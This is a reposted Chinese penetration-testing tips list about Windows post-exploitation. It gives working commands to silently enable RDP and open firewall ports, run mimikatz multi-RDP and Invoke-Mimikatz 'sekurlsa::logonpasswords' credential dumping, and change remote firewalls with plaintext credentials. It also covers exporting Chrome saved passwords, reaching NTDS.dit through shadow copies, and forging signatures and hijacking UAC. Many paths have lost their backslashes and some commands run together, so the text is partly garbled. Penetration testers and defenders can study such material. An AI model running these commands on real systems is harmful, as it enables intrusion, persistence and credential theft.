REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber

2、本机开启 3389 远程连接的方法

方法 1:通过 cmd

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /fREG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

方法 2:通过 reg 文件

内容如下:

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]"fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]"PortNumber"=dword:00000d3d

导入注册表:

regedit /s a.reg

注:

修改连接端口重启后生效

补充

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许 3389 端口,命令如下:

netsh advfirewall firewall add rule protocol=TCP dir=in localport=3389 action=allow

3、远程连接方法

kali 使用 3389 远程连接:

rdesktop 192.168.1.1:3389

Windows:

mstsc.exe

非服务器版本的 Windows 系统,默认只允许一个账户登录

具体表现为:

远程登录时,使用与原系统相同的账户,原系统将被切换到登录界面

使用不同的账户,原系统桌面将弹框提示是否断开当前连接 (30 秒后默认选择同意)

解决方法:

使用 mimikatz.exe, 执行ts::multirdp允许多用户远程登录

能够实现不同帐户远程登录不冲突, 原系统桌面不会弹框提示

当然,使用与原系统相同的账户,原系统还是会被切换到登录界面

注:

该方法在系统重启后失效,下次使用需要重新执行命令ts::multirdp

也可通过修改文件 termsrv.dll 实现永久修改

参考:

《渗透技巧——Windows 系统远程桌面的多用户登录》

Tips 46 使用 netsh 修改远程系统的防火墙规则

远程系统需要允许Windows防火墙远程管理, 开启命令如下:

netsh advfirewall set currentprofile settings remotemanagement enable

eg.

netsh -r 192.168.0.2 -u TESTadministrator -p domain123! advfirewall firewall add rule  protocol=TCP dir=in localport=any action=allow

参考:

《域渗透——利用 DCOM 在远程系统执行程序》

Tips 47 劫持 UAC

当弹出 UAC 提示框的时候,执行任意代码, 可通过修改注册表劫持签名验证的功能,插入 payload

参考:

《Authenticode 签名伪造——PE 文件的签名伪造与签名验证劫持》

Tips 48 PE 文件的 Authenticode 签名伪造

通过修改注册表,能够给 PE 文件添加微软证书

参考:

《Authenticode 签名伪造——PE 文件的签名伪造与签名验证劫持》

《Authenticode 签名伪造——针对文件类型的签名伪造》

Tips 49 PE 文件的 Catalog 签名伪造

构造 Long UNC 文件名,实现文件名欺骗,获得 Catalog 签名

参考:

《Catalog 签名伪造——Long UNC 文件名欺骗》

Tips 50 mklink

用于创建符号链接,可理解为快捷方式

创建目录 c:test1,指向 c:temp,可使用以下操作:

(1) 使用 / D 参数命令创建一个链接:

mklink /D "c:test1" "c:Temp"

(2) 使用 / J 参数命令创建一个联接:

mklink /J "c:test1" "c:Temp"

差异:

使用 / D 参数创建的链接,文件属性多了 "快捷方式"

使用 / J 不需要管理员权限

使用 / D 需要管理员权限

应用:

更改释放文件的路径

Tips 51 powershell 在执行脚本时传入参数

powershell -executionpolicy bypass -Command "Import-Module .Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"powershell -executionpolicy bypass -Command "Import-Module .Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""

Tips 52 dll 注入方法

1、APC

参考:

《通过 APC 实现 Dll 注入——绕过 Sysmon 监控》

2、process hollowing

参考:

《傀儡进程的实现与检测》

3、Process Doppelgänging

参考:

《Process Doppelganging 利用介绍》

Tips 53 域内默认共享目录

\<DOMAIN>SYSVOL<DOMAIN>

所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

参考:

《域渗透——利用 SYSVOL 还原组策略中保存的密码》

Tips 54 你的 TeamViewer 有可能被反控

如果你的 TeamViewer 版本为13.0.5058,不要随意连接未知的 TeamViewer 服务器,有可能被反控

参考:

《TeamViewer 13.0.5058 中的权限漏洞测试》

Tips 55 远程查看域控登录、注销相关的日志:

方法 1:

wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password

方法 2:

(不推荐,直接下载文件太大)

获取域控文件:C:WindowsSystem32winevtLogsSecurity.evtx,筛选事件 4624/4623/4672

Tips 56 判断当前系统是否处在待机状态

锁屏状态下 GetForegroundWindow() 的函数返回值为 NULL,非锁屏状态下 GetForegroundWindow() 的函数返回值为一个非零的值

参考:

https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen

Powershell 脚本实现:

https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1

Tips 57 获得当前系统用户无输入的时间

通过 API GetIdleTime 进行判断

c# 实现:

https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C

powershell 脚本实现:

https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1

Tips 58 判断当前系统的屏保启动时间

判断是否开启屏保:

查找注册表HKEY_CURRENT_USERControl PanelDesktop,是否存在键值SCRNSAVE.EXE

REG QUERY "HKEY_CURRENT_USERControl PanelDesktop" /v SCRNSAVE.EXE

如果开启屏保,查看键值ScreenSaveTimeOut获得屏保启动时间 (以秒为单位)

REG QUERY "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveTimeOut

Tips 59 隐藏指定进程的界面

通过 API ShowWindowAsync 改变窗口状态

通过 powershell 实现,脚本可参考:

https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1

Tips 60 通过 Powershell 对 Windows 系统截屏

脚本下载地址:

https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1

Tips 61 查看当前 Windows 系统已安装的程序

通过枚举注册表项 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall 下所有子健的 DisplayName 获取

注:

64 位系统下 32 位程序的目录为HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall

powershell 脚本实现的参考地址:

https://github.com/3gstudent/ListInstalledPrograms

Tips 62 通过 wmi 获得当前系统的类型

wmic /NAMESPACE:"\rootCIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list
Value Meaning
0 (0x0) Unspecified
1 (0x1) Desktop
2 (0x2) Mobile
3 (0x3) Workstation
4 (0x4) Enterprise Server
5 (0x5) Small Office and Home Office (SOHO) Server
6 (0x6) Appliance PC
7 (0x7) Performance Server
8 (0x8) Maximum

Tips 63 导出 Chrome 浏览器保存的密码:

1、在线获取

方法 1:

读取数据库文件%LocalAppData%GoogleChromeUser DataDefaultLogin Data,如果 Chrome 浏览器正在运行,无法直接读取,需要先复制

在当前系统调用 API CryptUnprotectData 直接解密

方法 2:

mimikatz

vault::cred

参考:

《渗透技巧——导出 Chrome 浏览器中保存的密码》

2、离线获取

使用 Master Key,不需要获得用户明文密码

参考:

《渗透技巧——利用 Masterkey 离线导出 Chrome 浏览器中保存的密码》

Tips 64 通过 ShadowCopy 获得系统的历史文件

查询当前系统有无快照:

vssadmin list shadows

访问历史快照中的文件:

mklink /d c:testvsc \?GLOBALROOTDeviceHarddiskVolumeShadowCopy15dir c:testvsc

参考:

《域渗透——获得域控服务器的 NTDS.dit 文件》

Tips 65 命令行执行多条命令的方法

aa && bb

执行 aa,成功后再执行 bb

aa || bb

先执行 aa,若执行成功则不再执行 bb,若失败则再执行 bb

aa & bb

先执行 aa 再执行 bb,无论 aa 是否成功

Tips 66 通过 powershell 发送邮件 (包含附件)

两种方法,代码可参考:

https://github.com/3gstudent/SendMail-with-Attachments

Tips 67 通过 powershell 读取注册表获得所有用户的远程桌面连接历史记录

默认读注册表只能获取当前已登录用户的注册表信息, 可通过reg load加载配置单元获得未登录用户的注册表配置

代码可参考:

https://github.com/3gstudent/ListInstalledPrograms

参考:

《渗透技巧——获得 Windows 系统的远程桌面连接历史记录》


*内容转自渗透测试教程,侵删


渗透技巧总结,一些Tips分享



渗透技巧总结,一些Tips分享

原文始发于微信公众号(网络安全资源库):渗透技巧总结,一些Tips分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月28日23:00:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透技巧总结,一些Tips分享https://cn-sec.com/archives/2248043.html

发表评论

匿名网友 填写信息